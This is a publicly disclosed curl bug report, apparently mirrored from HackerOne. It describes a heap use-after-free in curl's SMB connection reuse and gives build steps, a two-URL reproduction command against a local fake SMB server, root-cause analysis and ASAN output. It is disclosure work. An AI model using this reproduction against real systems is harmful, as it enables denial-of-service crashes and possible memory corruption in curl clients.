HexBrain

curl · Report #3591956

Use-After-Free in SMB connection reuse (req->path dangling pointer after needle destruction)

Duplicatestatus
highseverity
58upvotes
29 Apr 2026disclosed

How it was found

Summary

A heap-use-after-free occurs in smb_send_open() at lib/smb.c when curl processes two SMB URLs targeting the same host. The function smb_parse_url_path() sets req->path as a non-owning pointer into smbc->share (connection-owned memory). During connection reuse, the needle connection is freed via Curl_conn_free() → smb_conn_dtor(), which frees smbc->share, but req->path (on the easy handle) still references the freed buffer. The subsequent strlen(req->path) in smb_send_open() reads freed heap memory.

Affected Version

curl 8.19.0-DEV (master branch, built March 8 2026) Platform: Ubuntu 22.04 on x86_64 (WSL2) Built with: gcc, OpenSSL, --enable-smb, -fsanitize=address

Steps To Reproduce

  1. Clone and build curl from master with ASAN and SMB enabled:
git clone https://github.com/curl/curl.git && cd curl
autoreconf -fi
./configure --with-openssl --enable-smb --without-libpsl
make CFLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" LDFLAGS="-fsanitize=address" -j$(nproc)
  1. Start the attached fake SMB server (fake_smb_server.py) in one terminal:
python3 fake_smb_server.py 5445
  1. In another terminal, run curl with two SMB URLs to the same host:
ASAN_OPTIONS=detect_leaks=0 LD_LIBRARY_PATH=./lib/.libs \
./src/.libs/curl -u guest:guest \
  "smb://127.0.0.1:5445/share1/file1" -o /dev/null \
  "smb://127.0.0.1:5445/share2/file2" -o /dev/null
  1. ASAN reports heap-use-after-free in smb_send_open.

Root Cause

In smb_parse_url_path() (lib/smb.c ~line 398-435):

  • smbc->share = strdup(path) allocates "share2/file2" (13 bytes)
  • The / is replaced with \0, splitting it into "share2\0file2\0"
  • req->path = slash points 7 bytes into smbc->share

When the second URL reuses the pooled connection from URL #1:

  • url_find_or_create_conn() finds a match and frees the needle connection
  • Curl_conn_free() → smb_conn_dtor() → free(smbc->share)
  • req->path now dangles into freed heap

Then smb_request_state() → smb_send_open():

const size_t byte_count = strlen(req->path) + 1;  // UAF read

ASAN confirms: "0x502000002a57 is located 7 bytes inside of 13-byte region, freed by smb_conn_dtor, previously allocated by smb_parse_url_path via strdup"

ASAN Output

==519095==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000002a57 at pc 0x7967a543daa7 bp 0x7fffdbfd8b00 sp 0x7fffdbfd82a8
READ of size 1 at 0x502000002a57 thread T0
    #0 0x7967a543daa6 in __interceptor_strlen
    #1 0x7967a51a4326 in smb_send_open (libcurl.so.4)
    #2 0x7967a51a75fe in smb_request_state (libcurl.so.4)
    #3 0x7967a5158fbf in protocol_doing (libcurl.so.4)
    #4 0x7967a515d395 in multi_runsingle (libcurl.so.4)
    #5 0x7967a515e569 in multi_perform (libcurl.so.4)
    #6 0x7967a515ebe0 in curl_multi_perform (libcurl.so.4)
    #7 0x7967a50bc841 in easy_transfer (libcurl.so.4)
    #8 0x7967a50bcf0a in easy_perform (libcurl.so.4)
    #9 0x7967a50bcffe in curl_easy_perform (libcurl.so.4)
    #10 0x5d0efa2f6ea2 in serial_transfers (curl)
    #11 0x5d0efa2f80b2 in run_all_transfers (curl)
    #12 0x5d0efa2f8cd6 in operate (curl)
    #13 0x5d0efa2ea7b4 in main (curl)

freed by thread T0 here:
    #0 __interceptor_free
    #1 smb_conn_dtor (libcurl.so.4)
    #2 hash_elem_clear_ptr (libcurl.so.4)
    #3 hash_elem_destroy (libcurl.so.4)
    #4 Curl_hash_clean (libcurl.so.4)
    #5 Curl_hash_destroy (libcurl.so.4)
    #6 Curl_conn_free (libcurl.so.4)
    #7 url_find_or_create_conn (libcurl.so.4)

previously allocated by thread T0 here:
    #0 __interceptor_strdup
    #1 smb_parse_url_path (libcurl.so.4)
    #2 smb_setup_connection (libcurl.so.4)
    #3 setup_connection_internals (libcurl.so.4)
    #4 url_create_needle (libcurl.so.4)
    #5 url_find_or_create_conn (libcurl.so.4)

SUMMARY: AddressSanitizer: heap-use-after-free in __interceptor_strlen
0x502000002a57 is located 7 bytes inside of 13-byte region [0x502000002a50,0x502000002a5d)

Impact

Heap-use-after-free (CWE-416) triggered by a simple two-URL curl command line. Requires no authentication to a real SMB server - the UAF occurs client-side before any server response to the second request. This results in a guaranteed crash (DoS). If the freed 13-byte heap region is reallocated with attacker-influenced data before the read, it could potentially lead to information disclosure or further memory corruption.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original